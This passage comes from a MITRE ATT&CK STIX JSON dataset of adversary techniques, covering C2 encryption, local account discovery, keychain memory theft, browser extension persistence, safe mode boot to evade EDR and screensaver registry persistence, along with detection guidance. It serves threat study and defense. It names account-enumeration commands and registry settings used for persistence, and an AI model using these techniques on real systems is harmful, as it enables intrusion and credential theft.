                "Windows",
                "Identity Provider"
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Application Log: Application Log Content",
                "Active Directory: Active Directory Object Modification",
                "Active Directory: Active Directory Object Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "created": "2020-03-16T15:45:17.032Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1573/001",
                    "external_id": "T1573.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:14.636Z",
            "name": "Symmetric Cryptography",
            "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "created": "2020-02-21T21:07:55.393Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/001",
                    "external_id": "T1087.001"
                },
                {
                    "source_name": "id man page",
                    "description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.",
                    "url": "https://linux.die.net/man/1/id"
                },
                {
                    "source_name": "groups man page",
                    "description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.",
                    "url": "https://linux.die.net/man/1/groups"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:14.718Z",
            "name": "Local Account",
            "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic",
                "Miriam Wiesner, @miriamxyra, Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Group: Group Enumeration",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1167",
                    "external_id": "T1167"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:17.371Z",
            "name": "Securityd Memory",
            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d",
            "created": "2020-10-01T01:18:35.535Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586/001",
                    "external_id": "T1586.001"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:08:45.478Z",
            "name": "Social Media Accounts",
            "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Persona: Social Media",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--278716b1-61ce-4a74-8d17-891d0c494101",
            "created": "2025-03-30T22:12:27.799Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1176/001",
                    "external_id": "T1176.001"
                },
                {
                    "source_name": "Chrome Extension Crypto Miner",
                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
                },
                {
                    "source_name": "xorrior chrome extensions macOS",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
                },
                {
                    "source_name": "Chrome Extensions Definition",
                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
                    "url": "https://developer.chrome.com/extensions"
                },
                {
                    "source_name": "ICEBRG Chrome Extensions",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
                },
                {
                    "source_name": "Malicious Chrome Extension Numbers",
                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
                },
                {
                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
                },
                {
                    "source_name": "Catch All Chrome Extension",
                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
                },
                {
                    "source_name": "Banker Google Chrome Extension Steals Creds",
                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
                },
                {
                    "source_name": "Browser Adrozek",
                    "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"
                },
                {
                    "source_name": "Browers FriarFox",
                    "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.",
                    "url": "https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"
                },
                {
                    "source_name": "Stantinko Botnet",
                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
                },
                {
                    "source_name": "Wikipedia Browser Extension",
                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Browser_extension"
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            "modified": "2025-04-15T19:58:15.232Z",
            "name": "Browser Extensions",
            "description": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n  \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles; however, <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ",
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        {
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            "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
            "created": "2019-08-30T12:55:58.607Z",
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                    "url": "https://attack.mitre.org/techniques/T1527",
                    "external_id": "T1527"
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                {
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                },
                {
                    "source_name": "Microsoft Identity Platform Access 2019",
                    "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
                },
                {
                    "source_name": "okta",
                    "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                    "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
                },
                {
                    "source_name": "Staaldraad Phishing with OAuth 2017",
                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
                    "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
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                "Jack Burns, HubSpot"
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            "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
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        {
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            "created": "2021-06-23T20:00:27.600Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1562/009",
                    "external_id": "T1562.009"
                },
                {
                    "source_name": "Microsoft Safe Mode",
                    "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.",
                    "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234"
                },
                {
                    "source_name": "Sophos Snatch Ransomware 2019",
                    "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.",
                    "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"
                },
                {
                    "source_name": "Microsoft bcdedit 2021",
                    "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
                },
                {
                    "source_name": "CyberArk Labs Safe Mode 2016",
                    "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.",
                    "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise"
                },
                {
                    "source_name": "Cybereason Nocturnus MedusaLocker 2020",
                    "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.",
                    "url": "https://www.cybereason.com/blog/medusalocker-ransomware"
                },
                {
                    "source_name": "BleepingComputer REvil 2021",
                    "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
                },
                {
                    "source_name": "Microsoft Bootcfg",
                    "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"
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            "name": "Safe Mode Boot",
            "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
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                    "external_id": "T1180"
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                {
                    "source_name": "Wikipedia Screensaver",
                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Screensaver"
                },
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
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            "name": "Screensaver",
            "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)",
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26"
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            "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
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            "x_mitre_detection": "Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Firmware: Firmware Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "created": "2020-01-17T19:13:50.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543/003",
                    "external_id": "T1543.003"
                },
                {
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                },
                {
                    "source_name": "SANS 1",
                    "description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.",
                    "url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"
                },
                {
                    "source_name": "SANS 2",
                    "description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.",
                    "url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "Microsoft 4697 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
                },
                {
                    "source_name": "Symantec W.32 Stuxnet Dossier",
                    "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.",
                    "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"
                },
                {
                    "source_name": "Unit42 AcidBox June 2020",
